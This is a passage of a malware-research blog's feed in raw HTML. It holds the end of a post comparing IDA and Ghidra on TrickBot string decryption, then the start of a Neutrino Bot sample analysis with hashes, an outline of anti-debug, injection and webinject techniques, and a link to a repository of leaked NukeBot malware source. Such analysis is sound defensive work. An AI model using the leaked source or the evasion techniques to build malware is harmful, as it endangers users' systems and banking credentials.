data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:560,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCwNHVy4qvYVSBYoORdtVhCz6vSaO4JqPHaziFPaGdqQko502oNpLEQCj04ofzPR3MbrwLA5-CYr293HPjvJ9ZesIETdOVVFrQEiIFoSfEVYlqeQudlltnchrno_el5Si2cJkEap4rW5U/s640/ghidra_codebrowser_func_graph1.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3>TrickBot Strings Decryptor</h3><p><br>About strings.. All the strings used by the newer versions of TrickBot are encrypted. While IDA was able to construct a nice table of strings that makes easy to find the decryptor:<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png" width="640" height="226" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:226,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4-7JgxG8HGtLMiazLEr0MmI17iONDZcPWFMFCPPk32p5bcwUCgfd2bu28tF9cfxy54tnlyY73en5amq56Kprv4uQNGcR8QXq80f_vgBUoFDXfR1D8Jh5du04jZY-SuJNiv3V8XEIEslc/s640/ida_strings.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br>Ghidra were not able to identify all the strings and construct a nice table, it is much lesser intuitive:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png" width="640" height="264" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:264,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKV0zX_4sSDp6ZJzd6P1hadbii_w2VnByEnK7ykwz81Ixy2FXQo0wrUQMWX7dPPrwlJm3hiqyxyN-sBt4VR_U16t1s1sbd2r0CtEVFnAJI39Yi48l0c671U3qoAitGM3915suIVen2Jg/s640/ghidra_strings.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>Maybe I missed something with Ghidra, but I selected the option Analysis-&gt;One shot-&gt;Ascii Strings, and these are the results. This makes difficult, for example, to find strings' decryptors.<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png" width="640" height="270" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:270,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBg834rfcK29F18jeTSADIX3agNZiB2iqYQ9uP9BicavUJqq0zkIkjGKfwFNfgZdko8OdrEV0AXkkJx7q1xUO2FPnq-z_oxIVgI2RbiscBBuwP2Qbhy1zWXj89hOtWHHTm_WcTY2csX0/s640/strings_decryptor.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3>Conclussion</h3><p><br>in spite of the fact that I really love IDA (and WinDbg), I liked this framework, and I will continue using it.<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> <br> <br><br></p>]]></content:encoded></item><item><title><![CDATA[Analysis of Neutrino Bot Sample (dated 2018-08-27)]]></title><description><![CDATA[In this post I analyze a Neutrino Bot sample.]]></description><link>https://www.peppermalware.com/p/analysis-of-neutrino-bot-sample-2018-08-27</link><guid isPermaLink="false">https://www.peppermalware.com/p/analysis-of-neutrino-bot-sample-2018-08-27</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Wed, 02 Jan 2019 16:06:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this post I analyze a Neutrino Bot sample. It was probably generated 2018-08-27. I will compare the analyzed Neutrino sample with the NukeBot's source code that was leaked on spring, 2017, and I will check that Neutrino Bot is probably an evolution (or, at least, it reuses parts) of the <a href="https://github.com/p3pperp0tts/malware-leaked-sources-1/tree/master/TinyNuke">NukeBot leaked code</a>.<br><br></p><ul><li><p><strong>Original Packed Sample:</strong>&nbsp;<a href="https://www.hybrid-analysis.com/sample/13000a0da5fc8da437e70649fe39802cce240bf1529b6ab7ce3c273a592eb615">3F77B24C569600E73F9C112B9E7BE43F</a></p></li><li><p><strong>Automatic Generated Report: </strong><a href="https://sandbox.peppermalware.com/publicreport/?filter=3f77b24c569600e73f9c112b9e7be43f&amp;action=showpdf">PepperMalware Report</a></p></li><li><p><strong>Virustotal First Submission:</strong>&nbsp;2018-08-28 14:36:26</p></li><li><p><strong>Sample Creation Date:&nbsp;</strong>&nbsp;2018-08-27</p></li><li><p><strong>Unpacked Banker Module:&nbsp;</strong><a href="https://www.hybrid-analysis.com/sample/fbc59d467919dd07a343f59e0e8718610fb663a08bb373d6a04bf0b70b073f82">896609A8EE8CC860C2214FCD1E3CF264</a></p></li><li><p><strong>Internal executable id: </strong>aug27</p></li><li><p><strong>Related links:&nbsp;</strong></p><ul><li><p><a href="https://www.malware-traffic-analysis.net/2018/08/21/index2.html">https://www.malware-traffic-analysis.net/2018/08/21/index2.html</a></p></li><li><p><a href="https://twitter.com/malware_traffic/status/1032066941953945600">https://twitter.com/malware_traffic/status/1032066941953945600</a></p></li><li><p><a href="https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/">https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/</a></p></li><li><p><a href="https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/">https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/</a></p></li></ul></li></ul><h2>Analysis</h2><ul><li><p>1. Loader</p><ul><li><p>1.1. First stage packer</p></li><li><p>1.2. Second stage, custom packer / injector</p></li><li><p>1.2.1. Antidebug Tricks</p></li><li><p>1.2.1.1. Antidebug tricks: API Obfuscation</p></li><li><p>1.2.1.2.&nbsp;Antidebug tricks:&nbsp;Time Tricks</p></li><li><p>1.2.1.3.&nbsp;Antidebug tricks:&nbsp;HKCU\Software\Microsoft\Windows\Identifier</p></li><li><p>1.2.1.3.&nbsp;Antidebug tricks:&nbsp;CPUID checks</p></li><li><p>1.2.1.4.&nbsp;Antidebug tricks:&nbsp;Walk running processes searching for wellknown names</p></li><li><p>1.2.1.5.&nbsp;Antidebug tricks:&nbsp;Walk own process' modules searching for wellknown names</p></li><li><p>1.2.1.6.&nbsp;Antidebug tricks:&nbsp;IsDebuggerPresent / CheckRemoteDebuggerPresent</p></li><li><p>1.2.2. Injection</p></li><li><p>1.2.3. Other details</p></li><li><p>1.2.3.1. BotId and mutex</p></li><li><p>1.2.3.2. PRNG</p></li></ul></li><li><p>2. Banker module</p><ul><li><p>2.1. WebInjects</p></li><li><p>2.2. Browser hooks</p></li><li><p>2.3. Other stealer capabilities</p></li></ul></li><li><p>3. Similarities with NukeBot leaked source code</p><ul><li><p>3.1. InjectDll function at banker module</p></li><li><p>3.2. Hollow-process explorer.exe</p></li><li><p>3.3. Random BotId</p></li></ul></li><li><p>4. Yara rules</p></li><li><p>5. Conclussions</p></li></ul><h3>1. Loader</h3><h4>1.1. First stage packer</h4><p> In the first stage, the sample is packed with an usual packer that allocates a memory block where it copies a shellcode that decrypts a second stage code, and that second stage code is overwritten over the original PE in memory.</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png" width="320" height="307" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:307,&quot;width&quot;:320,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 424w, 